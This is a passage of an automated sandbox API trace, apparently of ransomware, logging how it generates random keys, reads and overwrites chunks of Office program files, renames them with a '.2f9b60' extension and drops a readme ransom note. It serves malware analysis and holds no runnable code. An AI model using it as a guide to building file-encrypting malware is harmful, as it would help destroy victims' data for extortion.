Office\\Office14\\9d98940bdc7c34c6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\9d98940bdc7c34c6.2f9b60" [0134.307] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\9d98940bdc7c34c6.2f9b60", NtPathName=0x2106fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\9d98940bdc7c34c6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0134.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202adb80 [0148.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adb80) returned 1 [0148.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf491c0) returned 1 [0148.255] NtQueryInformationFile (in: FileHandle=0x1be4, IoStatusBlock=0x2106fab8, FileInformation=0x2106fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2106fab8, FileInformation=0x2106fac8) returned 0x0 [0148.255] NtSetInformationFile (FileHandle=0x1be4, IoStatusBlock=0x2106fab8, FileInformation=0x2106fac8, Length=0x28, FileInformationClass=0x4) [0201.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 [0201.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4b60) returned 1 [0201.737] FlushFileBuffers (hFile=0x1be4) returned 1 [0201.749] CloseHandle (hObject=0x1be4) returned 1 [0205.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x43154960 [0205.821] wcscpy (in: _Dest=0x43154960, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0205.821] wcscat (in: _Dest=0x43154960, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0205.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0205.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43154960) returned 1 [0205.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867f40) returned 1 Thread: id = 1722 os_tid = 0xe70 [0131.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub")) returned 0x20 [0132.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub", dwFileAttributes=0x20) returned 1 [0133.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1be8 [0134.227] GetFileSizeEx (in: hFile=0x1be8, lpFileSize=0x2327f8a0 | out: lpFileSize=0x2327f8a0*=3072) returned 1 [0134.228] SetFilePointerEx (in: hFile=0x1be8, liDistanceToMove=0xbfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.228] ReadFile (in: hFile=0x1be8, lpBuffer=0x2327f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2327f868, lpOverlapped=0x0 | out: lpBuffer=0x2327f820*, lpNumberOfBytesRead=0x2327f868*=0x4, lpOverlapped=0x0) returned 1 [0134.233] SetFilePointerEx (in: hFile=0x1be8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0134.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0134.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0134.233] NtQuerySystemTime (in: CurrentTime=0x2327f760 | out: CurrentTime=0x2327f760*=132462177394714000) returned 0x0 [0134.233] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x5b452f0b [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x5992f644 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x67a01206 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x429f6bfe [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x779e7a21 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x54dcf03d [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0xb2b738e [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x290ef7f8 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x7cd8b262 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x78c8555e [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x7b060ebf [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x58dc636f [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x5b86c932 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x18d11ca [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x64056afa [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x61dc3b5d [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x56e51745 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x8ffbfb [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x7d4f9978 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x79f1782b [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x67a6b9fb [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x63a6a4de [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x79c521c7 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x52d41a9 [0134.234] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x3488efde [0134.235] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x45f07b1e [0134.235] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x60d60d56 [0134.235] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x67d8950a [0134.235] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x17d6dba3 [0134.235] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x4b0a190 [0134.235] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x15822ef7 [0134.235] RtlRandomEx (in: Seed=0x2327f750 | out: Seed=0x2327f750) returned 0x3895d135 [0134.248] ReadFile (in: hFile=0x1be8, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x2327f750, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2327f750*=0xc00, lpOverlapped=0x0) returned 1 [0134.248] SetFilePointerEx (in: hFile=0x1be8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.248] WriteFile (in: hFile=0x1be8, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2327f754, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2327f754*=0xc00, lpOverlapped=0x0) returned 1 [0134.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6800 [0134.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6da0 [0134.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6da0) returned 1 [0134.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0134.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0134.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f970 [0134.265] SetFilePointerEx (in: hFile=0x1be8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.265] WriteFile (in: hFile=0x1be8, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2327f870, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2327f870*=0x112, lpOverlapped=0x0) returned 1 [0134.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0134.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0134.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e90) returned 1 [0134.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f50 [0134.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ef0 [0134.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ef0) returned 1 [0134.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97b20 [0134.271] sprintf (in: _Dest=0x1cd97b20, _Format="%c%c" | out: _Dest="ea") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b22, _Format="%c%c" | out: _Dest="fc") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b24, _Format="%c%c" | out: _Dest="e7") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b26, _Format="%c%c" | out: _Dest="10") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b28, _Format="%c%c" | out: _Dest="8b") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b2a, _Format="%c%c" | out: _Dest="15") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b2c, _Format="%c%c" | out: _Dest="44") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b2e, _Format="%c%c" | out: _Dest="34") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b30, _Format="%c%c" | out: _Dest="01") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b32, _Format="%c%c" | out: _Dest="95") returned 2 [0134.271] sprintf (in: _Dest=0x1cd97b34, _Format="%c%c" | out: _Dest="27") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b36, _Format="%c%c" | out: _Dest="30") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b38, _Format="%c%c" | out: _Dest="10") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b3a, _Format="%c%c" | out: _Dest="7a") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b3c, _Format="%c%c" | out: _Dest="d7") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b3e, _Format="%c%c" | out: _Dest="ff") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b40, _Format="%c%c" | out: _Dest="81") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b42, _Format="%c%c" | out: _Dest="f4") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b44, _Format="%c%c" | out: _Dest="b2") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b46, _Format="%c%c" | out: _Dest="c9") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b48, _Format="%c%c" | out: _Dest="cf") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b4a, _Format="%c%c" | out: _Dest="ed") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b4c, _Format="%c%c" | out: _Dest="19") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b4e, _Format="%c%c" | out: _Dest="f6") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b50, _Format="%c%c" | out: _Dest="04") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b52, _Format="%c%c" | out: _Dest="1e") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b54, _Format="%c%c" | out: _Dest="38") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b56, _Format="%c%c" | out: _Dest="9d") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b58, _Format="%c%c" | out: _Dest="32") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b5a, _Format="%c%c" | out: _Dest="d3") returned 2 [0134.272] sprintf (in: _Dest=0x1cd97b5c, _Format="%c%c" | out: _Dest="9b") returned 2 [0134.273] sprintf (in: _Dest=0x1cd97b5e, _Format="%c%c" | out: _Dest="c1") returned 2 [0134.273] RtlInitAnsiString (in: DestinationString=0x2327f8e8, SourceString="eafce7108b15443401952730107ad7ff81f4b2c9cfed19f6041e389d32d39bc1" | out: DestinationString="eafce7108b15443401952730107ad7ff81f4b2c9cfed19f6041e389d32d39bc1") [0134.273] RtlAnsiStringToUnicodeString (in: DestinationString=0x2327f8b8, SourceString="eafce7108b15443401952730107ad7ff81f4b2c9cfed19f6041e389d32d39bc1", AllocateDestinationString=1 | out: DestinationString="eafce7108b15443401952730107ad7ff81f4b2c9cfed19f6041e389d32d39bc1") returned 0x0 [0134.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4e30 [0134.273] wcscat (in: _Dest=0x202a5610, _Source="eafce7108b154434" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\eafce7108b154434") returned="C:\\Program Files\\Microsoft Office\\Office14\\eafce7108b154434" [0134.273] wcscat (in: _Dest=0x202a5610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\eafce7108b154434.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\eafce7108b154434.2f9b60" [0134.273] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\eafce7108b154434.2f9b60", NtPathName=0x2327f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\eafce7108b154434.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0134.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202add90 [0145.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202add90) returned 1 [0145.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053460) returned 1 [0145.187] NtQueryInformationFile (in: FileHandle=0x1be8, IoStatusBlock=0x2327f8f8, FileInformation=0x2327f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2327f8f8, FileInformation=0x2327f908) returned 0x0 [0145.187] NtSetInformationFile (FileHandle=0x1be8, IoStatusBlock=0x2327f8f8, FileInformation=0x2327f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5610) returned 1 [0145.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4e30) returned 1 [0145.229] FlushFileBuffers (hFile=0x1be8) returned 1 [0145.252] CloseHandle (hObject=0x1be8) returned 1 [0145.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a4a0 [0145.265] wcscpy (in: _Dest=0x2050a4a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0145.265] wcscat (in: _Dest=0x2050a4a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0145.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0145.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a4a0) returned 1 [0145.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 Thread: id = 1723 os_tid = 0xfcc [0131.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic")) returned 0x20 [0132.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic", dwFileAttributes=0x20) returned 1 [0133.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c2c [0134.559] GetFileSizeEx (in: hFile=0x1c2c, lpFileSize=0x234ffc40 | out: lpFileSize=0x234ffc40*=2904064) returned 1 [0134.559] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x2c4ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.559] ReadFile (in: hFile=0x1c2c, lpBuffer=0x234ffbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x234ffc08, lpOverlapped=0x0 | out: lpBuffer=0x234ffbc0*, lpNumberOfBytesRead=0x234ffc08*=0x4, lpOverlapped=0x0) returned 1 [0134.595] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679b0 [0134.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a10 [0134.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267aa0 [0134.595] NtQuerySystemTime (in: CurrentTime=0x234ffb00 | out: CurrentTime=0x234ffb00*=132462177398302000) returned 0x0 [0134.595] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x3f912385 [0134.595] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x4b9dc089 [0134.595] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x39c2d572 [0134.595] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x13fd6263 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x1c39b8ea [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x7b60f08f [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x42c9cfc5 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x5704524a [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0xb0bd6df [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x477ddec2 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x61ba3cb [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x362ff9d9 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x26fc100b [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x74319f69 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x990e56f [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x5f6a7fd6 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x145313e3 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x37992cf8 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x5e35798e [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x1257efae [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x1b965525 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x762f0ba7 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x171d5348 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x1cb380d8 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0xea69414 [0134.596] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x6bee73ae [0134.597] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x699d66eb [0134.597] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x30a06e7a [0134.597] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x76970108 [0134.597] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x73b0f8f0 [0134.597] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x4c6b4768 [0134.597] RtlRandomEx (in: Seed=0x234ffaf0 | out: Seed=0x234ffaf0) returned 0x3846ec1a [0134.608] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.608] ReadFile (in: hFile=0x1c2c, lpBuffer=0x41cdb4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x234ffb60, lpOverlapped=0x0 | out: lpBuffer=0x41cdb4e0*, lpNumberOfBytesRead=0x234ffb60*=0x3c00, lpOverlapped=0x0) returned 1 [0134.636] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0134.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0134.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679b0 [0134.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202679b0) returned 1 [0134.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ce2d00 [0134.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679b0 [0134.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b30 [0134.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267b30) returned 1 [0134.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0134.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0134.638] WriteFile (hFile=0x1c2c, lpBuffer=0x41ce2d00, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x234ffb60, lpOverlapped=0x0) [0170.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ce2d00) returned 1 [0170.836] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x164400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.836] ReadFile (in: hFile=0x1c2c, lpBuffer=0x41cdb4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x234ffb60, lpOverlapped=0x0 | out: lpBuffer=0x41cdb4e0*, lpNumberOfBytesRead=0x234ffb60*=0x3c00, lpOverlapped=0x0) returned 1 [0170.914] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x164400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0170.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0170.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ef5950 [0170.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0170.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0170.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0170.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.917] WriteFile (in: hFile=0x1c2c, lpBuffer=0x41ef5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x234ffb60, lpOverlapped=0x0 | out: lpBuffer=0x41ef5950*, lpNumberOfBytesWritten=0x234ffb60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef5950) returned 1 [0194.656] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x2c1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.656] ReadFile (in: hFile=0x1c2c, lpBuffer=0x41cdb4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x234ffb60, lpOverlapped=0x0 | out: lpBuffer=0x41cdb4e0*, lpNumberOfBytesRead=0x234ffb60*=0x3c00, lpOverlapped=0x0) returned 1 [0195.015] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x2c1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c650 [0195.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0195.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431387d0 [0195.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431387d0) returned 1 [0195.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cfd170 [0195.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431387d0 [0195.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 